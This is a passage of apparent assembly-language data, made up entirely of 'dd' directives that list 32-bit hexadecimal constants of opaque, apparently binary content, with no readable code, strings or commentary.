44C2DBF4h, 0D70D8529h, 7A202A99h dd 67B9E4BDh, 0C7520000h, 117FEB9h, 185ABF85h, 0C4AAF9F2h dd 1629108Eh, 8720C851h, 2F7C7EB5h, 0BBE019CDh, 12AD1DE0h dd 3062F880h, 9594583Ch, 2BDBB70Bh, 70BAFBC0h, 0F53985C0h dd 253658D3h, 557D4ADFh, 0D5727B7Bh, 9E2F9DF1h, 13C9E73h dd 0BD31D264h, 5FBE6399h, 0EE4B11EDh, 0D84A153Fh, 0DA0143F9h dd 2F1E385Fh, 0D92F356Eh, 0AD2220A7h, 0C89D7FFBh, 0ADB6AC2Bh dd 85CA353Bh, 2CABB93h, 744FB000h, 8CA8019Eh, 69C7800h dd 3A71F74Ch, 790F0013h, 61D1555Eh, 1109D781h, 27E7FB0h dd 7F104990h, 9F4F801Ch, 0E3C041DEh, 0AAA40182h, 0CB96FD00h dd 71BF6692h, 5B649041h, 0B85DC325h, 0F4DEAF84h, 5856D5CBh dd 0BBA72F12h, 7BA6A04Ah, 0BDE1FF24h, 5C5405DEh, 0A21E9EBBh dd 0DDD007Bh, 57FFAD02h, 0D81B1E68h, 0CE906FA8h, 233E7AB0h dd 122E3BF1h, 0E9A2F504h, 0F796908Fh, 9BB2A005h, 0CF41ECC8h dd 0F8F731FAh, 4B78E3A7h, 0BC01ED66h, 11DC13C0h, 9C10EB34h dd 98E812DDh, 0AF9C04B2h, 0EBD9A8F3h, 0B5B7F28h, 67FB60ECh dd 2DF06E70h, 0E9C0B96Fh, 42B50F7Bh, 90FDF80Dh, 93A95590h dd 0B65AD17Ch, 0D1CCE2B9h, 0BD294215h, 0BB0630C4h, 0E0B584Ah dd 91F84A7Eh, 370125FEh, 1CB2B06Eh, 1BF43911h, 6E689D5Fh dd 5C84EDDAh, 1E79C20Bh, 68099708h, 0AC3A594Eh, 0EEE01394h dd 0BDBFF680h, 2B1432B3h, 24F79D12h, 89BD6A27h, 8F7940BCh dd 3C917201h, 2623E1B2h, 20D5A342h, 60F8BC68h, 2AE1A051h dd 0B434601h, 0D7D5FBEh, 0EE0203B8h, 87717DBFh, 0E94A7832h dd 0FC35DC3Fh, 644DCDBFh, 92966018h, 304D2890h, 23792096h dd 1F7E91Ch, 4137FF25h, 0A8FF9803h, 14522F03h, 0D9891EEh dd 19216D32h, 31A97D9Dh, 4BCB6D7Dh, 5D00BC4Ch, 0DA1E3DEFh dd 927FA9ECh, 2F4698AAh, 207F158Dh, 8F94CE13h, 0CCB9BF61h dd 4BB18FEh, 5C845997h, 87F6FA89h, 3C989DF3h, 29008AC4h dd 0BF696C2Ch, 0EBAAAE52h, 0DA938F22h, 4D168062h, 211A4E6h dd 4F9EBACCh, 2FC133F2h, 0F6E63F14h, 0A8CDA95Ah, 4A2B0040h dd 23F8285Fh, 8CA9D9BDh, 3E827550h, 4F5DF9C8h, 0BCE4F911h dd 1D931Ah, 0D42942A0h, 0BCA0DD6Fh, 314FF5B5h, 29FF3425h dd 5070EC29h, 0DF658725h, 1A7EA910h, 7AA20613h, 0B3F31902h dd 3146555Fh, 512C0F98h, 0D24CA7C9h, 0C5584AD9h, 0B06EE723h dd 30D30D94h, 42646676h, 0AC490ACh, 4FC0026Eh, 7BC87153h dd 40E6B406h, 0FA4C1BECh, 4EBF7603h, 0CFA74F79h, 2550D240h dd 0FE89F7A0h, 0B5FF5FDEh, 0CCA50Eh, 0DB26B11Fh, 294AC503h dd 94F0BCECh, 611925DAh, 62C0FF6Dh, 5B0F885Eh, 0F272AB83h dd 9D97D5Dh, 3DF83140h, 0E3EA5F61h, 0CE9AD319h, 0FB1D0E82h dd 1A6AC175h, 8BD392Ah, 0BF1CFCB9h, 13D6AF77h, 93D20FEh dd 4D9AC1B5h, 0D73DD9B7h, 595EF628h, 0B57ABEh, 795C72D6h dd 1E3876DDh, 0D28008FFh, 848BB2F8h, 8B05042Eh, 1FAD2CFBh dd 84633FFFh, 3961F895h, 82F20057h, 2DB74BAh, 454F2F7Bh dd 0C0A74120h, 8CCD001Dh, 23AF92EFh, 0D700A9D4h, 54B357B0h dd 48AD442Fh, 0FC13E45Fh, 0F9321772h, 7072F8BBh, 0DDF54A9Ch dd 0D66A2F91h, 94A1C407h, 14E1B04Ch, 0AD02FB32h, 0EFD5B1BBh dd 0BFF1FD13h, 0F59A4225h, 8764046Fh, 0F93709EBh, 49976DFFh dd 10771F3h, 0FF6927B7h dd 67D3489h, 2F06CECFh, 37D661D0h, 0AB764E60h, 0FF470986h dd 37FD9641h, 3BE502CDh, 0F7C09930h, 459532FDh, 59850429h dd 0C4B6EF2Eh, 4E82A6E4h, 52E153BBh, 856F1DEAh, 657BF89Ah dd 0EA0B85C4h, 0E63F2CF1h, 3E9CB522h, 5EC90111h, 0E3136E25h dd 0AD133A67h, 308D8F05h, 188876FEh, 37B52FFCh, 801B9159h dd 435AFC9Fh, 30C61A22h, 0CA7F7C3Ah, 0E0136D09h, 0CB2FA141h dd 61EE850Eh, 10DED4B5h, 0F173155h, 587CC8Eh, 6488374Ah dd 6538006Ch, 23B90261h, 0A0059FEh, 3AA6509Dh, 4A928DE2h dd 12C1C535h, 0A260FE40h, 9D0CAD95h, 56DC73F6h, 30BC916h dd 1877126Fh, 0DCB818Eh, 7F4C735Bh, 40CD6B54h, 1203D7F8h dd 0FF213D0Eh, 0AF382177h, 0DCA73CF1h, 1D56D653h, 146100B2h dd 0FB6429B2h, 0DC8B12EFh, 0C5BD3072h, 51017968h, 9688EA50h dd 8C2EADB7h, 0A402A7C6h, 637F70C0h, 231E07Dh, 965B253Eh dd 0C6719153h, 9B855D2h, 0E24A25EBh, 896AF2CDh, 6BE82A78h dd 8D46E6A0h, 49852912h, 715BE749h, 58484406h, 0B57345B4h dd 0AC806659h, 0A425CCEAh, 0F74700CEh, 731A4D82h, 0B100E130h dd 814F8345h, 3B56505Bh, 0AD9AFDBBh, 377FF657h, 0AA6A00F2h dd 5EFB1503h, 0C1353997h, 5F9E14F6h, 0C64CC740h, 0BE3A1CCAh dd 0DCB709BBh, 250E55h, 9A60EBD1h, 577A6B07h, 0BD6EBD57h dd 3EC6F5A5h, 25FA8B39h, 1137C5D8h, 0DFBE6F23h, 503BFE65h dd 0C641DEB7h, 8483FD6Ah, 0BB001809h, 2C25E2C0h, 0A72EC7BFh dd 4550DDD3h, 1E93324Dh, 6F2109FCh, 7BE09E3Dh, 395FE2FDh dd 0E9925B25h, 2515FF59h, 0C34C13C8h, 0DFC1E309h, 4EFF511Ah dd 5B129B52h, 0C4568588h, 8D291405h, 23FB2019h, 5E996092h dd 0CDB82A61h, 5F5141DFh, 0C59D2B90h, 82BD7E02h, 71323BECh dd 0A92DD4B6h, 0C2E2D826h, 0BF632DEh, 82D4B7D5h, 0CB95C06Fh dd 9BBF97Dh, 847067B3h, 8533600Ah, 6192EDD1h, 0ABFBC406h dd 0D086FEh, 0CE91548Dh, 8ED2976Ah, 7A04BBF0h, 5B7D055Ah dd 3C1DCCFEh, 52213Fh, 666D024Dh, 0D1B816h, 0EB50D833h dd 0BC5FFE31h, 0CBF4CAD4h, 0B66580h, 14B01EF3h, 911363B3h dd 0B804C4A3h, 5B0A0521h, 18B8C91h, 0F99FFC45h, 422500A6h dd 72C7553Ch, 0AB34E300h, 11A0B9Ch, 1258BF0Ch, 95166922h dd 0BD236598h, 6DB2CD5Eh, 3CC6E309h, 0FF896771h, 724DF3D1h dd 56DBB2FFh, 6C4527Fh, 73785D93h, 75277FD9h, 0B37AF1C2h dd 295406Bh, 133795h, 2DDFD7AEh, 56129D88h, 5C248D0Fh dd 764B20BEh, 2801A190h, 2FCA75Ah, 35200886h, 811569B5h dd 604E9DFAh, 54142E0Eh, 89AD5AE6h, 3F7D612Dh, 35848086h dd 4BD64502h, 0FB300D02h, 0F61A860Fh, 0C4F2E0C7h, 491C3370h dd 720090AFh, 0E18D4B56h, 2038B8E4h, 3E9021A9h, 4CFC2C4Bh dd 0C7423CE2h, 0E4B2ED77h, 0C633C2F6h, 4BDB4CFDh, 0E119B63Eh dd 0EE78258Ch, 0E301FB80h, 0BB0282CDh, 0B5F692B4h, 11EE7F9Eh dd 1B6B59Fh, 6A34B7Ch, 0D11DD4D9h, 0BB50F801h, 3BC7B620h dd 0FC8AEF51h, 88BF9B2Ah, 68FBC215h, 2D75D140h, 5195B183h dd 0B82FD725h, 0D1D2F448h, 0D96A0720h, 49654875h, 237BB51Ah dd 0F9E0FED1h, 40699247h, 0CFE2BB1Fh, 0CC56C225h, 431C45D7h dd 1984F124h, 8392E50Ch, 811814B0h, 0BA3C6900h, 0FE8B5B47h dd 1670E633h, 6385A9F6h, 8D2DB07Fh, 0F9237927h, 7EEC9116h dd 11D9B516h, 0F9CE8CBEh, 42611DF3h, 202E9631h, 892C741Ah dd 140166F4h, 364F82D9h, 0BC2AE8C1h, 15E68498h, 81ECE2BEh dd 17F9C712h, 2658BC7Eh, 11083356h, 892B9810h, 0FA83207Dh dd 0A073F7D1h, 8DC6EB01h, 15AE87E9h, 0C4454020h, 0BE00553Dh dd 15DAB13Ch, 5B70AC4Ch, 967CED4Bh, 5F30AE05h, 4E4964C1h dd 0AD6844C1h, 1084D02Dh, 0DE11213h, 21039B02h, 0A75DCB80h dd 99D7618h, 0B654172Dh, 669C5759h, 0FB5B1620h, 0DA8BADD1h dd 226C8E7Fh, 12EE9421h, 9300F210h, 1E552B04h, 5C09261Ah dd 0B9867B84h, 79509CEBh, 376A884Bh, 0F0622C00h, 0C7FF9D13h dd 5E47659Ch, 989BAA6Ah, 6BB64C0h, 284FCAC6h, 0D74715F6h dd 26D4CB28h, 979F9DB9h, 0BAA253h, 0AEDF0297h, 99E87Ch dd 0FD4F2F25h, 4B0FF569h, 0E4845F4Bh, 0C0649BAFh, 2009E5E9h dd 4F580BA1h, 3E0A270Ch, 0EABF6103h, 9D09C460h, 0ECE4ED55h dd 0CB17E2B9h, 9F9BFC61h, 40338B92h, 0F4B59D8h, 5E9B3EEFh dd 9C110D8h, 63EACDBBh, 293207D0h, 0D6D25312h, 3A00DC03h dd 343C93EBh, 3901DDD2h, 9D89A36Dh, 9654101Dh, 98FB75DAh dd 1D967070h, 0ED98F420h, 25B73D09h, 0F6348080h, 254577D7h dd 0A1904009h, 0DA0076AFh, 0AC3406D4h, 0E4160B98h, 777F13E4h dd 8FD4FB5Dh, 0EC5FEFE8h, 0F916DE03h, 4EA36BBFh, 1C77DD8h dd 34C53638h, 704396E5h, 3700BA57h, 0CBA1BB4Dh, 996105C2h dd 0ED7B8059h, 937F6036h, 4D01707Ch, 0A2ADF778h, 0BC2F820Fh dd 0B15BA3D8h, 0DD2A4BCFh, 2B6A6B20h, 9FFE7100h, 0BFD08095h dd 0F8010909h, 8797FF7Bh, 1AEF369h, 6D16D5AAh, 0B2282F32h dd 81B28B6Ah, 0F94BC652h, 13898BC8h, 0FF158DBDh, 605A4F6Fh dd 21718CB2h, 4C056D75h, 0D2181FE2h, 123D9681h, 4D23F32Fh dd 2C8DACF5h, 42323CBh, 0FF1E5D9Dh, 4A36D638h, 0A01BB705h dd 16FF863h, 0D7F78271h, 0C50D8D01h, 70337E07h, 2038E18Eh dd 31D08E8h, 6C8BDF05h, 0DC90F5BEh, 9C254B37h, 997E5ABh dd 0CA7B0504h, 17F67ED0h, 0C98FC029h, 84EC2FD6h, 23EF63C1h dd 17387094h, 0E59A1325h, 4A8C11A6h, 60CA87F8h, 4573DEF5h dd 9202C4FCh, 3C12F3E6h, 27885E85h, 0CD013B37h, 0F9AB6022h dd 0BB51D07Fh, 0A597DD8Fh, 7BEAFC73h, 0BBEB0ED6h, 4A35A453h dd 58C3F3EEh, 0F03A80ACh, 0CCA95Bh, 9DB51B2h, 8A0CC40Eh dd 9F2E810Ah, 79089B85h, 0F35F120Fh, 0DD8A126Ah, 814A73BCh dd 2144EE1Fh, 7810ADF7h, 0A50941ABh, 0D8B3F6BCh, 0D58A2287h dd 38F16490h, 0A7C3002h, 591DFB42h, 22550096h, 76789658h dd 0BCEBAD00h, 0DC2B721Fh, 955B7192h, 83BBA1A3h, 0E70F16D9h dd 3203B381h, 0F9A461B5h, 0C828585Bh, 0B218F64Fh, 0B80301Ch dd 55D81E07h, 35E0F66Bh, 96AD8D09h, 17571316h, 851731B8h dd 0D7BC305Fh, 90CC644Bh, 9CE912FCh, 3934FF02h, 0D8AFC112h dd 3A01C829h, 0A32A73B4h, 122F2C57h, 0B04CA74Bh, 0BCB6DE4Ah dd 46664090h, 9D007D0Dh, 0E77FD4B9h, 2B393D0h, 98C8A130h dd 4D5E9737h, 0F6FCF625h, 0C2734C12h, 0E3FF24FBh, 0D38081B1h dd 0CD7A5F57h, 0F1B2602Ah, 2AFB0C5Ah, 68D2C148h, 4ADC1CBBh dd 20799018h, 67ED2C35h, 3C9EA087h, 0FC941E11h, 1BE026F9h dd 0CA13B1C9h, 27BBFFBFh, 0E1CD40B1h, 97D8AA4h, 0D7F8FB00h dd 60405679h, 0CE2D7399h, 173001E4h, 76FED6B6h, 492D60BEh dd 0D49EFE05h, 22C0599Ch, 20F9B47h, 0A78C8511h, 0F2F789CEh dd 0EB964A58h, 50FB1161h, 737B77EEh, 0C4ECA8F9h, 481F3552h dd 0C900A056h, 0ED0F0240h, 0C0F1BD7Eh, 0FB5A44D6h, 393F0535h dd 0AD61A915h, 4DBD8253h, 7979771Ah, 1788046Bh, 14118D21h dd 2F0172A2h, 0AE5DF8D1h, 434EEC12h, 0DE6E3609h, 2B549850h dd 0F51101DFh, 94D052C7h, 57D8C660h, 0CBD4543Ah, 9F51E9D8h dd 0FA419B52h, 0B9047DDEh, 2BCF895Bh, 0BD046FA2h, 0AAFD2F43h dd 581FA8A7h, 111C931h, 0B113B55h, 5090DE5Ah, 3C3F3B64h dd 0DBB9175Dh, 2F2488BEh dd 8F253918h, 4B5FD932h, 0B8F6E990h, 50182D7Bh, 5F7D915Fh dd 1061E72Bh, 810113F9h, 0CFE73DDFh, 0E39A6A1Eh, 0ADC019C8h dd 17CBA3FEh, 0AC8BF5E9h, 796189B7h, 3C73E9D7h, 1F96B50h dd 63526033h, 6BFAD526h, 1EA5058Ch, 0BEEB28E8h, 0A1B3D389h dd 4E453979h, 40ECD4FDh, 92701B39h, 1B57537Ah, 1AA83FFDh dd 878018Ch, 0CA9019AFh, 0BA843BC4h, 92EB23BCh, 0EB1CB04h dd 73078217h, 2F000666h, 863B23E4h, 0BF6EB957h, 96941F9h dd 0F4BCF48Bh, 1EF40E09h, 296475F3h, 1496F885h, 801FDEEBh dd 0DCD24DCAh, 9DAB488Bh, 6FFE5D25h, 62F22351h, 0A0B75574h dd 0B8801C91h, 2C7A4B55h, 5EB49709h, 0E5F3F62Ah, 82F3EC19h dd 77D04DEFh, 839B4679h, 0E6AF842Dh, 0F2EB0972h, 9FC67DFBh dd 852F5498h, 79AEF331h, 0D9181Dh, 0DA674033h, 0FF4EAD6Bh dd 0F9E67FE5h, 80D2B9B5h, 0D94EDFE2h, 0F7282DB4h, 7B27Fh dd 50602C82h, 0DA614B5Ah, 0C037D0CAh, 0F80EB566h, 39472C70h dd 85C6900h, 7C51FFD2h, 12B93301h, 882AF95Ah, 0BE390DF7h dd 0C2FD0C24h, 25EAB45Eh, 54545645h, 644ECDC9h, 786B6017h dd 4485DF5h, 0D59A24Ch, 0C852FF93h, 636EFFh, 0BB6656EBh dd 975B64B2h, 0F232C58Fh, 17F70E2Dh, 83F8E288h, 6FEED510h dd 959DEEBFh, 2A4266CDh, 0FFA6C293h, 8A430DCCh, 5E84BB0Bh dd 0F4D0D95Bh, 4C7D4Dh, 5CC4DE68h, 8D295A0Bh, 76209120h dd 84894A31h, 0D06BAB97h, 26241923h, 0D7F3A102h, 606C54CAh dd 0EC3FC781h, 50288712h, 3093DCF8h, 0D6BD6D74h, 324C730Bh dd 27C754A3h, 80D83D7Fh, 16967E34h, 8D4CA3E8h, 65D12A8h dd 23876FFFh, 859A0416h, 0A4E8BCC7h, 69C5A1AFh, 394B8FEh dd 343E0AB0h, 6BA12B84h, 50722461h, 9A89B32Ah, 744B7B5h dd 590656B7h, 28039851h, 90F9E599h, 9B34E19h, 5FC68E1Dh dd 0BF0C1864h, 9C3A32EDh, 872A00AFh, 926D7638h, 0D82B0ED5h dd 6001D35Bh, 4158531h, 0C909E432h, 0B17F1F4Ah, 0A16E89ABh dd 0A7B23AD8h, 115F4DB8h, 5B913FAh, 0BB059965h, 900960DCh dd 0A8325E77h, 3AA9B473h, 1D5C06A8h, 7B5B130Ch, 38883BA2h dd 13A3FCAFh, 513BA729h, 65BC2B43h, 0FBD3C62Dh, 0FF2A9AD1h dd 0B2AFE034h, 259DC289h, 0F1F02216h, 0BA858903h, 0A7DE1219h dd 0B69902DCh, 3B1958BBh, 0F978F8D5h, 4B809F68h, 8CEC0F40h dd 0DEB1C00h, 0CC9BF650h, 3C830984h, 6DFF5B04h, 9819455Ch dd 0E905FF69h, 0D8ED5DB1h, 0A801A5E2h, 33CF275Ah, 5842ECFEh dd 38A53600h, 95153D04h, 0EA2601CEh, 5160508Eh, 0CABBCC5Eh dd 6C31F20Bh, 37235561h, 965E83B3h, 12E7A710h, 84D303F9h dd 770CAA68h, 23B1F102h, 0CABEB35Dh, 4166D53Dh, 924BCD02h dd 740AC873h, 0A76D2D3Bh, 0A15B46C3h, 84689EB4h, 50E6B20Eh dd 0E04DB6D7h, 128D8735h, 0ABF655E5h, 48050A7Ah, 0A0B8DA02h dd 294001E0h, 3EE70581h, 0AE560C66h, 7D3EBC7Ah, 0EBD95F00h dd 0FF17428h, 1AEC864Ah, 0F7D860A0h, 0C7240D00h, 0EEF1A1ABh dd 46B81315h, 1CDAFEFFh, 708BD897h, 7FD21627h, 0F9776F1Ah dd 0EEBD96C0h, 0A6BFB4C5h, 8FB9A4D8h, 0CA926081h, 556884Eh dd 0D1FF0014h, 5C7628BBh, 9D8A4F4Eh, 60025D22h, 6A61D98Ah dd 71E3DB02h, 608A21DDh, 71483339h, 0D1A69685h, 4B81EBE4h dd 510117E5h, 0ED0A205Fh, 0F3AC3725h, 0E9F804D9h, 0E738AF63h dd 80B49272h, 82046588h, 0B340E856h, 404A42h, 16E5B4D4h dd 0D381987Dh, 1118F70Bh, 0E35D512h, 0CF601D97h, 8FD7DEh dd 0A23D6B4Ah, 60418C3Fh, 60D8EC5h, 974420BAh, 505B617Ch dd 1AE26C24h, 89788F07h, 938F0AFh, 8A091C1Dh, 5F6F4F31h dd 2808402h, 0BADD8A2Fh, 6367A4A4h, 6725090h, 957A07CAh dd 90CF4EBDh, 3F8CFD18h, 7F3A339Dh, 0D30D2F8Eh, 8F550554h dd 992A9E52h, 0D50B806Bh, 7889BB8Dh, 7F7CF300h, 920A2C9Fh dd 0F8DF09FCh, 4CD3E22Bh, 420F0988h, 0FAC0BEB3h, 5C9F0CDDh dd 534604Dh, 0F8F3E080h, 0EE024C6Fh, 0A5B529CAh, 377B2913h dd 0B0254C11h, 0BF00647Bh, 94AA34Bh, 0F0704AE6h, 8A16DE5Eh dd 44FF61E7h, 0E811DDFBh, 4D26CC2Dh, 96B23160h, 20A3976h dd 12EF8161h, 74E2A345h, 0DF712737h, 6BA65EA5h, 14796C02h dd 0E0EFB57h, 7241D64Eh, 894044E4h, 745FDB90h, 9D2B6123h dd 292F6491h, 963046C8h, 93EEAC33h, 1A88D616h, 14DA0036h dd 0C8C9E3DDh, 0BF12EC30h, 4BAA98A4h, 454DE74h, 3D5A7869h dd 85DBD09h, 0C82B12h, 3945A416h, 0D1548B05h, 7507C56Ch dd 21276C42h, 0BDE896B4h, 3A5D698Bh, 0B4515FFFh, 8D100B12h dd 7C1696D9h, 2C48A6A8h, 47B53D71h, 1FF1950Dh, 0D18703E1h dd 3758E8A4h, 0BB0008F5h, 4E433642h, 174F922Ch, 0F321D42Ch dd 0A54AE901h, 0A0257917h, 0B518FAA6h, 2970FCEh, 744508E9h dd 562A445Eh, 540734B2h, 92DA5D4Ch, 6474DE46h, 6D0597C8h dd 5C826123h, 0C6D8C95h, 0A20D4BC1h, 88528452h, 0BADA8A05h dd 0EFF594E6h, 0BB021BE2h, 27091705h, 0B3605D74h, 70A5B95Ah dd 0F559B50Fh, 92EC3580h, 58A3AFEh, 0F2FD2E4Fh, 0B5E31360h dd 55572F2Fh, 0F44B50C7h, 0A609DC5Eh, 0F3B8232Ch, 94E6F07Dh dd 617D7E9Dh, 7B9509FAh, 0F54A59F8h, 0DAA66B33h, 0B74FDF2h dd 4B81EDDAh, 0C21A1077h, 0E15F1699h, 494E30C6h, 641271F9h dd 8FF95C83h, 8238CF49h, 0EBE0D44Bh, 0FEE5B9B6h, 0BBA0EB53h dd 9D39BD0Ch, 7FB961FCh, 0CAD16DDAh, 0BF6591C0h, 7B130AFAh dd 15C90142h, 4AB72F2Eh, 191F6D6Ah, 742F83F2h, 0EBA5CDBEh dd 2D0F2C20h, 3DFC0038h, 94ED015Dh, 292DD728h, 5BF6112Bh dd 68D2282Fh, 0D8D5739Dh, 0E000F81Eh, 3D61E6B0h, 9D2A3F10h dd 799AB242h, 0FB51B6F0h, 0AEC93FBAh, 0A93ABD3Bh, 1AA0F41Ch dd 5E8392BBh, 77338BD5h, 0BC12F584h, 494E7D0h, 63BF6601h dd 94282F9Fh, 3F53BD8Dh, 9C1D4946h, 3B19DC89h, 217AD35Fh dd 120360DCh, 0AF2CFD9Dh, 95798CF2h, 0F6B57CFAh, 55EF48Eh dd 577523FEh, 0E3437407h, 0F7A4805Fh, 71136ABDh, 0C97AAA01h dd 82EEA85Ah, 42BA4B15h, 7EEA7FB6h, 0CB91D9D7h, 5F728E5Bh dd 0F7AFFFD1h, 1BB7BB18h, 6D270A94h, 3362C095h, 7D3B7823h dd 9F53891Ah, 8BF4A090h, 951B61BDh, 0BB015B9Ch, 353E0B67h dd 0E46F5650h, 0B55E1B63h, 8B31E1E6h, 0DAD6B777h, 0F2C967E3h dd 53794261h, 82E3CF87h, 8BD3585Fh, 0C6F70h, 0D5E003C7h dd 61D75094h, 0EED91BBDh, 0BF3BB2CAh, 9DF929FBh, 0DA40C22Eh dd 9129355Dh, 91F38019h, 50E89AD3h, 0B6EA097h, 1FFE9E0h dd 0F44A76h, 43A90852h, 280FBCFBh, 0E20E8825h, 0FEF7DDFh dd 69A8D460h, 115C128Ah, 417604B4h, 452DBA28h, 4DC0A55Ah dd 69DDEA9Fh, 0D52A9512h, 9E3FE8F1h, 11E3C401h, 1BACC7BDh dd 0D9C018Ch, 4CA05CEBh, 8941E2C9h, 0F0851431h, 9D6202ABh dd 0B61426ADh, 0D29FDC49h, 4885024Ch, 93F780CDh, 95804EF5h dd 8100F64Ch, 9ACCF1EFh, 0FAB76096h, 6A53B751h, 4A3F611Eh dd 0C8D854F8h, 519D19B1h, 7C68C03Ch, 9512E132h, 0D1EC02B7h dd 3DD18304h, 0A16EAB6Ah, 0D5A20304h, 0C4B2A0DEh, 23A0B149h dd 0FD35AF8Dh, 46A25A07h, 72E75AECh, 0B7901FDAh, 0DE8B8E95h dd 0B80BEDD6h, 0A300476h, 0C1CC0BBEh, 7A05C54Fh, 0CDA84CE2h dd 0D7016700h, 7BFE3558h, 4092963Bh, 23BAEB83h, 877B125h dd 3725DCB6h, 0F95D0708h dd 7FE7C1ADh, 199E2EF8h, 0D9C91CC8h, 3B594973h, 7C0B3847h dd 7E9DF466h, 803A6056h, 31F460CFh, 3BAB54Fh, 20E96196h dd 0D1BF3702h, 5E527D8Fh, 0A2CF751Dh, 0FD0A299Dh, 5449D66Fh dd 2B714974h, 0A04D9046h, 529AF386h, 7EC4D064h, 567BEA03h dd 38AC5402h, 38D5D825h, 9716416Ch, 25DEB874h, 70C20BDFh dd 0D0CB7355h, 3C000E31h, 0E77C3B61h, 25B66F87h, 3D1C780h dd 40366D4Bh, 825DC465h, 7AD2AB01h, 3DB589CDh, 96273D38h dd 0FD01A079h, 2CD84F64h, 0EF7E303Bh, 6100AA80h, 0C1C05B59h dd 753497ACh, 0F446F48Fh, 78089396h, 5401B584h, 0BD89BF19h dd 8A6A2409h, 859D09C6h, 5A177410h, 2D4DF54h, 51439FBCh dd 0D8B2B9FAh, 2CD12960h, 950F4E97h, 303F2610h, 71AEDD5Fh dd 2BC48601h, 1E00897Bh, 0F916D990h, 8E005E70h, 0F2BB72C1h dd 973976A6h, 0B5552EBAh, 0FF491628h, 1882B19Eh, 1B5E7825h dd 6913542Dh, 299D0C71h, 29FFFD93h, 0F9308A67h, 0EB285E12h dd 41509300h, 658D892Eh, 0F7FEB50Ah, 80199BDCh, 0F238137Dh dd 0F94E566Dh, 31B230EAh, 5F964DBDh, 0C8FF5016h, 7509BB42h dd 70489B2Dh, 0ADFC4A3Bh, 8C19AC72h, 0D863E33Eh, 44F727B8h dd 9B500141h, 1C680256h, 2408C4E7h, 74BC7F4h, 626DD49Dh dd 421209A8h, 61136B38h, 123B5CF5h, 582AFF47h, 6BC21D88h dd 944E5D06h, 0FE8A9613h, 0EFD84DB0h, 48DD2B30h, 0BDB0E31Ah dd 0EE95281Dh, 5E297CB1h, 9D004741h, 0C61ECA6Dh, 2D4BC80Bh dd 356C6F9Dh, 2251CA4Ah, 21337D5Ch, 0B4483021h, 0B21C3EDEh dd 27C6869Ch, 0DE23D4h, 0B97C9533h, 811363D5h, 0A9D2CB05h dd 0FFC7689Ch, 76BA18B1h, 0E15AFC2Bh, 0E90104C1h, 9BC42BC7h dd 0C9F3DDFFh, 0E79B6AC1h, 6072EC80h, 95A1D08Bh, 2F082C45h dd 3D991161h, 255E49F8h, 6DC690A5h, 154DB381h, 0B2C812BAh dd 0D1620755h, 0B110CBD5h, 0EC86D70Fh, 9C3E1F22h, 0DA7F412Ch dd 0F805FD93h, 0F9138A31h, 6DE585Ah, 0ADEE19C0h, 0EC052813h dd 29622717h, 8D81D8BFh, 182DEF04h, 0F6FE9C30h, 0CAE0F72Ah dd 50709718h, 759A860Ch, 0E87BB716h, 23DD678h, 69A28FBFh dd 0E157946Ch, 212A2FDEh, 2E59BDBFh, 2A04AC14h, 9028CFEDh dd 2EB5B857h, 0BDDE8882h, 0EBF3CBh, 0B0ADCDA4h, 240E88Dh dd 9589905Fh, 87443071h, 26C2CFA3h, 860F0881h, 243FBB08h dd 0B3423287h, 61395C56h, 2AD5EB80h, 8E2C34B6h, 80604099h dd 85F087D6h, 5DAFABBEh, 0BF200B84h, 766DE8CDh, 2FB253A8h dd 36F3015Ah, 575B758Bh, 0D79FDDAh, 5EA3AB8Bh, 0FEBF0037h dd 0D98B5090h, 0F2C866E9h, 176D554Ah, 0AA651D64h, 7F09AA8Ah dd 9C5583E9h, 4FA44918h, 0ECB0BB07h, 0CDDF1B1Ah, 582C084h dd 21E4D6CEh, 0DC77AC2Dh, 0BA3165F6h, 8BE9A7C5h, 6F47D78Fh dd 97FB13ECh, 9ACABB4h, 80BDCB84h, 6718D77h, 752E5B81h dd 80F2DA69h, 96E7E567h, 502C175Dh, 97AF8851h, 1DB490Eh dd 86EF00C3h, 5ECDE993h, 0AE3E12A0h, 5FBA2F27h, 88B65400h dd 0B06DFCh, 270F81CDh, 417F9EAAh, 0FD2D5DBCh, 6B9DD931h dd 0ED4FBEA8h, 9B16B8A2h, 0C9F2040Dh, 8112AAF9h, 80DD2AFEh dd 676FBE06h, 7A907FD3h, 0F7813960h, 4123E1Eh, 0AF61F85Ah dd 20DB23F0h, 4D20A742h, 67F19A05h, 54CF1E51h, 0C859B941h dd 0BA608338h, 99E765B3h, 4C00AD71h, 9FB55104h, 5780BDC2h dd 469A69D8h, 6FF5C901h, 0B06116B4h, 0C1FF817Eh, 4D84040Ah dd 0E65646BEh, 8D201070h, 0A4C09511h, 346C19Dh, 2F79F42Dh dd 0CC3DD38Ah, 5E01F109h, 5B8B49A9h, 0A95CFF09h, 0C8AC4CFh dd 1ABCCBEBh, 6287AD95h, 6753D5B2h, 4ACCE115h, 0FA294EC3h dd 0D57B7F1Dh, 4A0BFD08h, 1320397Ah, 0B523600Dh, 9DD9C5C9h dd 8B1F212Eh, 71823ED1h, 86E90232h, 5849A55Eh, 4755133Fh dd 0F4CFFE49h, 0E23DC44Ah, 0AB2F01D5h, 0AC598889h, 5152CC2Eh dd 2ED35F71h, 76048FA8h, 0BF6BCE9Eh, 14B7D5DCh, 8D42E92Ah dd 5AE5ADD6h, 290BABE6h, 5CF8E59Dh, 4A88FC4Bh, 0BF668825h dd 32972D77h, 90D1FD42h, 6234B8A4h, 3EC57317h, 9638BFFh dd 550B97F7h, 41830237h, 583C4DE4h, 1275C53Eh, 0E36DAED6h dd 0CF965042h, 7A917803h, 2D0FEAB9h, 767183A5h, 127CD840h dd 803C603Fh, 0C7E6A2Fh, 65BAA44Ah, 0D0A7BF69h, 2C96E4A0h dd 0EB9BB300h, 0A0D381D2h, 9739F26Bh, 2BD87701h, 6FDB3BC0h dd 788E1780h, 200E9BEh, 0D88A09F1h, 0BCD22BF9h, 3802DC67h dd 5DBD098Ah, 5FB6571Eh, 151DF080h, 67C6D582h, 8D816A0h dd 56880D25h, 8600F641h, 0A8587421h, 25B9D08Dh, 3079EBC1h dd 929B340h, 4B65F185h, 0A995E97Bh, 5CBF801Ch, 79257C37h dd 177F548Bh, 6016656Dh, 0EE2B14DDh, 1A3B909Dh, 0DD59008Bh dd 5358A516h, 8B9878C2h, 9AE6140Bh, 95410712h, 0B1BC161Eh dd 0A9857DE3h, 280E8E2h, 487ADFAEh, 297D2878h, 0DF172B90h dd 1CC4C04Fh, 256DE3EFh, 9C47CEDFh, 0C500D424h, 91CFF529h dd 25E1FFF7h, 42C593B7h, 0BF57F118h, 26241270h, 8A43E237h dd 500212FAh, 5C16A5D6h, 84B25147h, 608EB325h, 